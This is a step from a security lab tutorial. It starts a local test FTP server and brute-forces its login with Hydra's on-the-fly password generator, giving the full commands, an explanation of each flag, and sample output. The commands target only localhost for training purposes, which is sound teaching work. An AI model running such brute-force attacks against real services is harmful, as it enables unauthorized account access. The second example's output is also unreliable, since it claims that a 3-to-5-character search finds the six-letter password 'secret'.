Attack FTP with Generated Passwords
In this step, you will use the password generation capabilities of Hydra to attack a dummy FTP server. You will use a password list generated "on-the-fly" with the -x option.
First, you need to set up a simple FTP server for testing. You will use python3-pyftpdlib, which is a lightweight FTP server library for Python.
Install python3-pyftpdlib if it is not already installed:
sudo apt update
sudo apt install -y python3-pyftpdlib
Start the FTP server in the background on port 2121, serving files from the ~/project directory. The -w option allows write access.
nohup python3 -m pyftpdlib -p 2121 -w -u testuser -P secret ~/project > /dev/null 2>&1 &
The nohup ... & part runs the command in the background and prevents it from stopping if you close the terminal. > /dev/null 2>&1 redirects standard output and standard error to /dev/null, keeping your terminal clean. The -u testuser -P secret options set up an user with password "secret" that can access the server.
Now, you will use Hydra to attack this FTP server. You will use the -x option to generate passwords and attempt to log in as the user "testuser".
Execute the following command in the terminal:
hydra -l testuser -vV -x 4:6:a-z 127.0.0.1 ftp -s 2121
Let's break down this command:
hydra: The Hydra command-line tool.
-l testuser: Specifies the username to use: "testuser".
-vV: Enables verbose output, showing each login attempt.
-x 4:6:a-z: This tells Hydra to generate passwords with:
4: Minimum length of 4 characters.
6: Maximum length of 6 characters.
a-z: Use only lowercase letters (a-z).
127.0.0.1: The target host (localhost). You use 127.0.0.1 instead of localhost to avoid potential DNS resolution issues within the container.
ftp: The service to attack (FTP).
-s 2121: Specifies the port number. You are targeting the FTP server running on port 2121.
You should see Hydra attempting logins with generated passwords. Since the FTP server is configured with specific credentials (username: testuser, password: secret), Hydra will find the correct password when it generates "secret" during its brute-force attempts.
Important: Use Ctrl+C to stop the attack, because it will take a long time to complete.
The output will show the login attempts and eventually a successful login message.
Hydra v[...] (c) 2023 by van Hauser / THCO
...
[ATTEMPT] target 127.0.0.1:2121 service ftp on device eth0 - login testuser password aaaa
[ATTEMPT] target 127.0.0.1:2121 service ftp on device eth0 - login testuser password aaab
...
[2121][ftp] host: 127.0.0.1 login: testuser password: secret
Now, let's try a slightly more complex example, combining lowercase letters and digits:
hydra -l testuser -vV -x 3:5:a-z0-9 127.0.0.1 ftp -s 2121
This will generate passwords like "aaa", "aab", "aac", and so on, systematically going through all 3-character combinations first, then 4-character combinations, and finally 5-character combinations. Observe the output to see the generated passwords and the successful login.
Hydra v[...] (c) 2023 by van Hauser / THCO
...
[ATTEMPT] target 127.0.0.1:2121 service ftp on device eth0 - login testuser password aaa
[ATTEMPT] target 127.0.0.1:2121 service ftp on device eth0 - login testuser password aab
...
[2121][ftp] host: 127.0.0.1 login: testuser password: secret
This step demonstrated how to use Hydra with the -x option to generate passwords and attack an FTP server. Remember to use these techniques responsibly and ethically.